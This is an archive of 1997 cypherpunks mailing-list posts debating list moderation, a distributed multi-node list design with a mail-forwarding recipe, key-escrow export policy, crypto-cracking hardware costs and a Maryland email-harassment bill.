>allows it to make company-wide decisions using a democratic
>process. moreover, the software is robust and scales well.
>why can't the same principles be scaled up, up, up? I predict
>that they will be in a rather extraordinary revolution.
>
>a new "velvet revolution"? comments anyone?

Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 19:27:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040327.TAA12103@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
...
>Another lesson is the danger of choke points.  We can see how
>tempting it is for people to exercise their control.  Even John Gilmore
>was unable to restrain himself from involuntary social engineering
>experiments.  Who would we have considered to be more trustworthy?
>
>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.
>
>Fast implementation: use moderated mailing list software.  Put a
>filter in the .forward file of the "moderator" account which looks
>at the message ID and forwards the message if it hasn't been seen
>already.  The mailing list machines all subscribe each other.
...
What you are suggesting is reminiscent of IRC.  Except, I think that each
IRC network has a central computer which could be controlled.

On your idea for fast implementation,  this could be hacked by would-be
censors.  A message comes into the list, the censor sees that the post is
from a regular enemy.  The censor then copies the header information onto a
new message, one containing garbage, or snippets from old posts, reads the
new post to see if it is acceptable, and if it is, adds a new header,
probably only the time would be changed, and transmits it out.  If the would
be censor was the sysop of a machine near the origin of the message, and if
the censor operated the censorship either by bots, or monitored the feed 24
hours a day, (not likely), then the actual message would get to few.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Mon, 3 Feb 1997 15:56:54 -0800 (PST)
To: Bill Stewart <toto@sk.sympatico.ca
Subject: "Secret" Postal Device -- Update.
Message-ID: <199702032356.PAA06506@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems as though it's a keyring(!) with one (some?) of the/those
key(s) they use to unlock all the mailboxes for apartment houses.
I guess it's a keyring too big for a pocket, but I don't know.

Herald reporter revealed this today, but didn't want to. I guessed
right, and he ended up admitting it after I informed him of how I
know various Herald reporters and sorta social engineered him into
saying too much by keeping him talking. :-)

My mail has been acting up all weekend due to something unknown
happening at Sprint.
JMR



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Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Mon, 3 Feb 1997 17:26:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040126.RAA08926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've been quiet about the moderation experiment (and I never posted
frequently anyway) but something Sandy wrote requires comment.  In
responding to Tim, Sandy points to the number of people on the censored
list as evidence of the acceptance of the filtering.  I am included in
that group and object to my silence being interpreted as support.

As Tim has pointed out, the bulk of the 2000 or so people who have
remained on the filtered list have never been active participants on the
list.  As we have never heard from them, we don't even know that they were
bothered by the flames and noise of the pre-filtered list.  And, even if
we did know, I don't think that there opinions should count as much as
those of the more active participants to the list.  A subscription to the
list does not make one a member of the Cypherpunks "community".  It is the
opinion of the members of the community and not the observers of it which
should matter.  (Even within the community, some people are more a part of
it than others, and nobody is more a part of it then Tim.)

As for the rest of us on the filtered list who are active (or occasionally
active) participants, our remaining on the list still can not be taken as
support for censorship.  Moderation of the list was announced as a one 
month experiment.  I didn't change my subscription from the filtered to
the unfiltered list because I expected this to end in a month and I was
willing to participate in the experiment.  You can't ask someone to try
something for a month to see if they like it and call there use of it in
that month evidence that they like it.

As long as I am writing, I may as well write the rest of my thoughts.  While
there was a period between the announcement of moderation and the start of
it during which people could (and did) comment on the change, the
announcement was clear that there would be moderation.  It was indeed a
fait accompli.  The moderated list should have been offered but not
imposed.  Then the experiment would have determined how many people
thought the list was so bad that they would seek moderation, rather than
determining how many thought moderation was so bad that they would seek to
avoid it.

Sandy, you said that you thought the list had improved since you began
moderating.  How could you think otherwise?  When you send an article to
the flames list its because you think the list would have been worse
otherwise.  I don't think the moderators opinion should be considered in
determining if moderation is a good thing.  I think there is a conflict of
interest there.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Mon, 3 Feb 1997 17:41:11 -0800 (PST)
To: eb@comsec.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199702040141.RAA09191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>I received a nice flyer in the mail the other day from "Chip Express"
>(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
>Programmed Gate Arrays.  It appears to be a reasonable way to get some
>Wiener chips built.  As I recall, the Wiener design required about
>23,000 gates.  Their blurb had the following table in in:

>  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
>    40,000      20,000      $77        $45         $10
>   Not Avail   200,000     $176       $150         $82

First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC 
takes just a wee bit more. Second, there is a world of difference in speed
between a Field Programmable Gate Array and an Application Specific
Integrated Circuit. The second is much faster (have heard of up to 200 Mhz)
but doubt that you can get there with a laser (probably where the 50 Mhz
figure comes from). I suspect you will need to have a mask made first - that 
is where the real money goes. However lets consider that you are really lucky 
and the first mask works and you get 100% yield (good chips).

Next you need a backplane with an input mechanism to prime each of those
chips with the text to break (will assume you have built in the 
initialization sequences for each chip). Then you need a path to provide
the KPT to the XOR at the output, powersupply, RF shielding, and a few 
other minor items (can probably use a PC for a front end).

Then, you need a way to report success but that is trivial.

Finally, you need to hope that none of those 5000 chips experiences infant
mortality or that you have some scheme to detect if that happens and to
which chip (was there BITE in the design ?).

Personally, would design the 5,000 to provide possible answers (say 2^32)
as an initial step and then push that into a single MasPar or similar. Might
find out some interesting things that way while reducing the overall 
complexity.

Just some food for thought.
					Warmly,
						Padgett

ps couple of people last year were working with FPGAs, I corresponded
   with them briefly. Why not ask them how my "guesstimates" correlated
   with their experiments...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thaddeus J. Beier" <thad@hammerhead.com>
Date: Mon, 3 Feb 1997 20:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040411.UAA13277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



TIS's press releases, and the article in the paper, imply that
TIS has been approved for 128 bit (uncrackable, except by prior
arrangement) cryptography...not just 56 bit.  They say, and they
should know, that you can export 56 bits now with just a "plan"
of key escrow, and that you can export more if you have a system...
which, what do you know, they have!

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Mon, 3 Feb 1997 20:11:17 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702040411.UAA13268@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
having a degree in Chemical Engineering  or something along those lines. 

clint barnett
lord of the cosmos
emily carr institute

On Wed, 29 Jan 1997, Anonymous wrote:

> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 17:57:50 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040157.RAA09663@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> an aside, it is ironic that John Gilmore was the guy who started the
> alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> 

An interesting idea.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 20:11:16 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702040411.UAA13267@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote:
>
>--- begin forwarded text
> Excerpted from...
>
> =============================================================
> AOP Bulletin      Friday, February 3, 1997       Volume 97:05
> =============================================================
>
> The following is information distributed to members of the
> Association of Online Professionals and others involved in the
> online communications industry.  Contacts and other information
> about AOP may be found at http://www.aop.org.
>
>
> *****************************************************
> Maryland Recycles Law On "Annoying" E-Mail
> *****************************************************
>
> A Maryland bill that would make it illegal to send "annoying"  or
> "embarrassing" e-mail was introduced this week by Democratic General
> Assembly member Samuel Rosenberg.

I would find any email "annoying" that supported such a bill.  Maybe we 
ought to send emails to Rosenberg, stating that we find his entire proposal 
"annoying," and ask him when he's going to turn himself in for his misdeeds.


Another good argument for AP.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 20:13:01 -0800 (PST)
To: "cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040413.UAA13311@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/3/97 -0500, tmcghan@gill-simpson.com wrote:
>But under a controversial new Clinton administration policy that took 
>effect Jan. 1, companies may receive permission to export stronger 
>programs. 
>
>"I'm happy that we've been able to do this within the first month 
>without rancor or difficulty," Under Secretary of Commerce for Export 
>Administration William Reinsch told Reuters in a telephone interview. 
>
>To export stronger programs immediately, companies must agree to 
>incorporate features within two years allowing the government to 
>decode encrypted messages by recovering the software keys, however. 


This ought to be challengeable.  (equal-protection violation?)  

And while the government's actions are normally phrased in this way, another 
way to describe them is to argue that the government is:

1.   Wanting a product or service to be developed.

2.   Wants private companies to do this.

3.   Wants to do so without Congress appropriating the money.  (And they're 
doing it by, in effect, "paying" for it by allowing certain companies to 
export freely, with the requirement that the company does the work "gratis".)

4.   Wants to do so without any sort of competitive bidding process.  (The 
terms of the contract have not gone through any of the normal procedures.)


I assume there are laws and/or rules which prohibit exactly this kind of 
behavior. 

Would it be possible to file a lawsuit, and then file for an injunction to 
prevent this de-facto deal from going through?   Might this constitute an 
anti-trust violation, because multiple companies are acting in concert to 
restrict access to the foreign crypto market by agreeing to develop ONLY A 
CERTAIN KIND OF ENCRYPTION, namely GAKked encryption?




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 3 Feb 1997 20:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040426.UAA13731@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:

>Moderation has been a failure.  I'm pretty good at filtering and I
>can sadly report that there is very little signal out there.

I don't think it's reasonable to expect an increase in signal within 2 1/2
weeks of the start of moderation. Improvement in the s/n ratio, yes. But
(at least if my speculation is correct), the good posts driven away by bad
posts (because some good authors are too busy to wade through lots of crap,
and some good authors are reluctant to publish their work amidst crap)
would take a much longer time to return.

(I'm working on a message re moderation and the list which will better
explain what I think about that - but I'm not trying to argue, above, that
we *must* have moderation for a long time - simply that it's too early to
call it a failure for failing to significantly increase the number of
useful messages.) 

>There are lessons to be learned here.  One is that censorship does
>not promote a stimulating and creative dialogue.

No, that is a silly lesson to draw from this experiment. There are lots of
useful and interesting "moderated" (on paper, it's called "editing")
publications/lists/digests where the content is intentionally controlled
for content and style. 

This particular implementation is imperfect. However, just as it would be
overreaching to conclude from the relative uselessness of the
pre-moderation list that "every list must be moderated, unmoderated lists
cannot succeed", it overreaches to conclude from the current results that
moderated lists cannot succeed.

>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.

I think you misspelled "Usenet". Hope this helps. 

Seriously, if you want a distributed no-choke-points "flooding" message
distribution system, you're talking about Usenet. Robust software exists
for clients and servers, and it's already supported worldwide on many
operating systems. No need to write more software to graft that
functionality onto E-mail. If the list is going to turn into Usenet (we've
already got most of Usenet's better kooks), we might as well just move the
damn thing over to alt.cypherpunks and be done with it. (Anyone care to
guess who founded alt.* as a way to route around censorship?)

(Of course, Usenet is a technical success and a spectacular failure,
content-wise. So opponents of moderation will be forgiven for failing to
mention this sparkling example of an unmoderated, anything-goes forum for
discussion.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 19:26:10 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dissolving Choke Points (fwd)
Message-ID: <199702040326.TAA12077@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From: ####### ### <###@###.com>
> To: ichudov@algebra.com
> Subject: Re: Dissolving Choke Points
> 
> ichudov@algebra.com writes:
>  > i do have unix (linux) and stuff, but i can't take a lot of subscribers
>  > -- maybe 200-300 or so.
>  > 
>  > i actually wrote a proposal for a mailing list without a central control
>  > point, with several advantages being impossibility of control, absense
>  > of a single point of failure, and cryptographic verification of honesty 
>  > of moderators.
>  > 
>  > if there is any interest, i will post it here.
> 
>      Please do.
> 
> Regards,
> 
> ####### ###

Here, I propose a new scheme for the Cypherpunks mailing list that would

1) Ensure that no one person is able to take over the control over the list
2) Ensure that there will be no single point of failure, i.e., shutdown
   of any single computer will not kill the list
3) Ensure that even people with relatively small Net resources can help
   keep the list afloat.

The idea is as follows: even though Cypherpunks is one group, the group
will be based on multiple mailing lists with identical content. These
lists may be named, for example, cypherpunks@algebra.com,
cypherpunks@toad.com, and cypherpunks@netcom.com (obviously, these names
are used as an example only).

Any user is free to subscribe to any of these lists. All of these lists
will interact with each other in the following way: 

1) Each node would forward ALL incoming submissions to a) all other nodes
   and b) to all subscribers "attached" to the node
2) Each node will send information about all new subscriptions to 
   each other node.

The following procmail recipes for cypherpunks@ accounts may be used to 
ensure quick forwarding: 

# is it sent to cypherpunks (some spams will be trashed here)
# and is it not a mail loop?
:0
* ^TOcypherpunks
* !^X-Loop:
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 32768 msgid.cache

  # forward it to other cypherpunks lists
  :0 c
  !cypherpunks@netcom.com cypherpunks@toad.com

  # send it to all local subscribers
  :0 c
  !majordomo -some -arguments

  # store the checksum and message-id for honesty verification (see below)
  :0
  |accounting
}

# suSCRibe/unsuSCRibe recipes go here

This scheme ensures that the list is run in a cooperative fashion and
can be maintained by a number of individuals without any one of them
having an expensive internet connection or being "in charge". It also
ensures that even if one node fails, traffic can be re-routed to other
nodes. Just as well, it ensures that any attempts of cheating will be
noticed: it is easy to write a bot that would subscribe to all of these
lists and see if any messages get "lost".

Users can send their articles to only one node, or, if they feel
paranoid, to several nodes at once. All we need is to make sure that 
all Message-IDs of outgoing messages are unique at every node.

Honesty verification: 

I suppose that there may be some more elaborate, crypto-based schemes 
to control and monitor article distribution. For example, there can be
another list, cypherpunks-control, where each of the nodes posts a 
publicly available signed summary of checksums of articles that went
through, and individual users would be able (with the help of s simple
client program) to verify that

        1) They received these articles
        2) That summaries received from all nodes are identical
        3) That all articles were received by all nodes


They do not HAVE to do it, but they can if they want. If they do, there
will be no way for list maintainers to censor anything.

If a node goes down or if the users' verification scripts indicate a 
potential for cheating, they can resubscribe to some other node and
let everyone else know what's going on.

My proposal strikes me as fairly simple and potentially workable. Even
though 90% of the users will never get to usnig the verification
mechanism, it will ensure honesty.

Note also that this mechanism is a gross simplification of the way 
USENET works, so some may vouch for a usenet group instead. 

Your opinions will be appreciated.

        - Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 3 Feb 1997 17:56:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Embarrass a Marylander, Go to Jail
Message-ID: <199702040156.RAA09633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Embarrass a Marylander, Go to Jail
X-orig-from: Randy Cassingham <arcie@netcom.com>
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST)
 From: Randy Cassingham <arcie@netcom.com>
 Subject: Embarrass a Marylander, Go to Jail
 To: listmom-talk@skyweyr.com
 Mime-Version: 1.0
 Precedence: Bulk
 Reply-To: listmom-talk@skyweyr.com


Passed on without comment.

  /  Randy Cassingham  *  Author, "This is True"  *  arcie@netcom.com  \
  | For info on What I Do, send a blank e-mail to TrueInfo@freecom.com |
  \ or check out <http://www.freecom.com/> * I promise you'll like it  /
   + FIGHT SPAM! Send a blank e-mail to nospam@mailback.com for help! +

 ---------- Forwarded message ----------

 Excerpted from...

 =============================================================
 AOP Bulletin      Friday, February 3, 1997       Volume 97:05
 =============================================================

 The following is information distributed to members of the
 Association of Online Professionals and others involved in the
 online communications industry.  Contacts and other information
 about AOP may be found at http://www.aop.org.


 *****************************************************
 Maryland Recycles Law On "Annoying" E-Mail
 *****************************************************

 A Maryland bill that would make it illegal to send "annoying"  or
 "embarrassing" e-mail was introduced this week by Democratic General
 Assembly member Samuel Rosenberg.

 The bill got little support when it was introduced last year, but
 Rosenberg hopes to play off of recent murders involving electronic mail to
 see the bill passed.

 Civil liberties groups argue that the law would be unconstitutional, and
 that the terms "annoy" and "embarrass"  are too vague to be meaningful.
 If passed, House Bill 778 would amend the state's criminal harassment law
 to prohibit the use of email to annoy, abuse, torment, harass, or
 embarrass other people, with violators receiving a fine up to $500 and
 three years in jail.

 A similar bill introduced last year is quietly progressing through New
 York's state legislature. Senate Bill 1414, introduced by Democratic State
 Senator Ray Goodman, could be voted on in the House early this year.

 Full text of the Maryland bill can be found at
 http://mlis.state.md.us/1997rs/billfile/HB0778.htm.



--------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Mon, 3 Feb 1997 17:55:51 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702040155.RAA09584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My favorate Ben Franklin quote is

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety."       - Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 21:41:56 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040541.VAA15787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, in his Ruskie disguise:

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.
......................................


LD, when you say "community" it means something else than when others
do.  When the cpunks said "community" they meant the camaraderie which
develops in the company of people with similar interests.  When you say
it, it means a group of people stuck to each other by rules of order and
socialization, with boundary lines predetermining the limits of their
arena.

The cpunks had intended that everyone would self-determine the extent or
limits of their interactions, thus arriving at a sense of "community"
from the decision to do so, rather than from being squeezed along
through "proper" channels. 


==
one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. 
...............................


Typically, people who yell for LEADERSHIP are those who either need it
themselves or are eager to supply it for others - i.e., to determine the
course of events.   Which one of these categories do you yourself fall
into?


==
<<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. 
........................................


I would more precisely say that the solution to bad speech is better
speech, thus eliminating the need for 5 messages when 1 will do. YMMV.
Do you think this would hold up in reality?


==
quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you? 
................................


You're starting to sound like Ayn Rand. (heh)

   ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 3 Feb 1997 19:25:48 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040325.TAA12034@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

    Correct me if I am wrong, but isn't(wasn't) there an implied threat of 
moderation on the cryptography@c2.net list? Mr. M started it with the intent
of getting away from much of the cruft (ADD, & etc.) that had accumlated 
here, and he was quite open about moderating it if he thought it needed it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Mon, 3 Feb 1997 21:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040540.VAA15692@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


pdh@best.com (Peter Hendrickson) writes:

> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.

Ever heard of Usenet?  It works exactly like that...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 21:43:32 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Filling Power Vacuums
Message-ID: <199702040543.VAA15857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, filling in for Mother Theresa:

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.
.................................................


Well, thank you, Master Yoda !   :>) 

Not speaking for Tim (I doubt he will answer you, anyway), but he *has*
supplied leadership.   Leaders can lead by example, and also by the
clarity of thought & ideas which they present.  I think he has quite
often supplied such qualities in his posts, and this has contributed
greatly to the atmosphere of anarchic "community". 

Speaking of leadeship, though, to "lead" implies that there is a place
to go, and that the leader is the one at the head of the pack,
indicating the proper direction (this would be the opposite of what
anarchists want, since they would be going not toward, but away from,
something).  

If leadership is defined to mean setting a course for people who lack
direction, this implies the existence of followers who are willing to be
led into places and to adopt methodologies when they don't know what
else to do; that they will follow a leader who will supply structure and
purpose to their indecisive condition.

This does place a lot of responsibility upon a leader, then, for setting
the goal, the course, and the methodology.  That's a lot of formality to
impose; too much, when you're only exchanging ideas rather than formally
setting out to accomplish something specific (like by a particular time
& date). 

Is it Time for the Revolution? 

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Mon, 3 Feb 1997 21:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040540.VAA15700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Lucky Green <shamrock@netcom.com> writes:
> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> > Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> > cause. Let's kill the list. Once and for all. Let the hard core crypto go
> > to Coderpunks, the politics to Cryptography, and the garbage into the void.
> 
> What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
> Where do they go?

How about sci.crypt, where they usually go before being forwarded to
cypherpunks?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 22:26:09 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040626.WAA16881@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>
>>Moderation has been a failure.  I'm pretty good at filtering and I
>>can sadly report that there is very little signal out there.
>
>I don't think it's reasonable to expect an increase in signal within 2 1/2
>weeks of the start of moderation. Improvement in the s/n ratio, yes. But
>(at least if my speculation is correct), the good posts driven away by bad
>posts (because some good authors are too busy to wade through lots of crap,
>and some good authors are reluctant to publish their work amidst crap)
>would take a much longer time to return.

Many good authors have already left the list and *nothing* will get them
back. The only solution is to move traffic to a different list. [Ever
wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness,
I there is a "SPAZ". <Hi to Dave Synthesis and all the folks from SPAZ>.]




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 06:56:02 -0800 (PST)
To: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Subject: Re: FCPUNX:ecure Phones
Message-ID: <199702041456.GAA28732@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:41 PM 2/3/97 -0700, C. Kuethe wrote:
>As we were both saying (meaning to say) there's a lot of holes in there...
and
>you're rich if you'd trust $1e4 to this box.... I'd put maybe $100 on it. Not
>that I have a problem with wealth. My point there is that I don't think this
>device is secure enough to be placing a lot of trust in... 

For 1E3, you can get the CS8191 from Communication Security Corporation.
http://www.comsec.com/

It uses 3DES. No silly "voice inversion". Sigh.



